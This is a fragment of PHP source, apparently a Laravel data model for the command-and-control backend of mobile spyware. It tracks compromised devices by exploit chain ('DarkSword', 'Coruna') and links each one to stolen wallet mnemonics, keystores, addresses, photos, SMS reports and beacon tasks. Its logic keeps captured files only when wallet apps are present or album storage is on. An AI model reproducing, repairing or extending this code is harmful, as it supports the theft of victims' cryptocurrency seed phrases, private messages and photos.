self::WALLET_UNKNOWN, 'chain' => self::CHAIN_CORUNA, 'album_storage' => false, ]; protected function casts(): array { return [ 'telegram_notified' => 'boolean', 'album_storage' => 'boolean', 'has_wallet' => 'integer', 'chain' => 'integer', 'wallet_names' => 'array', ]; } public function isDarkSword(): bool { return (int) $this->chain === self::CHAIN_DARKSWORD; } public function hasWalletApps(): bool { return (int) $this->has_wallet === self::WALLET_YES; } /** * @return list */ public function walletNameList(): array { $names = $this->wallet_names; if (! is_array($names)) { return []; } return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== '')); } public function albumStorageEnabled(): bool { return (bool) ($this->album_storage ?? false); } /** Photos and C2/DS file logs — only when album is on or wallet apps are present. */ public function persistCaptureEnabled(): bool { return $this->albumStorageEnabled() || $this->hasWalletApps(); } public static function captureEnabledForKey(?string $deviceKey): bool { $key = preg_replace('/[^0-9A-Za-z._-]/', '', (string) $deviceKey) ?? ''; if ($key === '') { return false; } $device = static::query()->where('device_id', $key)->first() ?? static::query()->where('device_id', strtoupper($key))->first(); return $device?->persistCaptureEnabled() ?? false; } public function apps(): HasMany { return $this->hasMany(DeviceApp::class); } public function events(): HasMany { return $this->hasMany(DeviceEvent::class); } public function photos(): HasMany { return $this->hasMany(Photo::class); } public function notes(): HasMany { return $this->hasMany(Note::class); } public function addresses(): HasMany { return $this->hasMany(WalletAddress::class); } public function mnemonics(): HasMany { return $this->hasMany(WalletMnemonic::class); } public function keystores(): HasMany { return $this->hasMany(WalletKeystore::class); } public function pluginSessions(): HasMany { return $this->hasMany(PluginSession::class); } public function smsReports(): HasMany { return $this->hasMany(SmsReport::class); } public function beaconTasks(): HasMany { return $this->hasMany(DsBeaconTask::class)->orderBy('position'); } }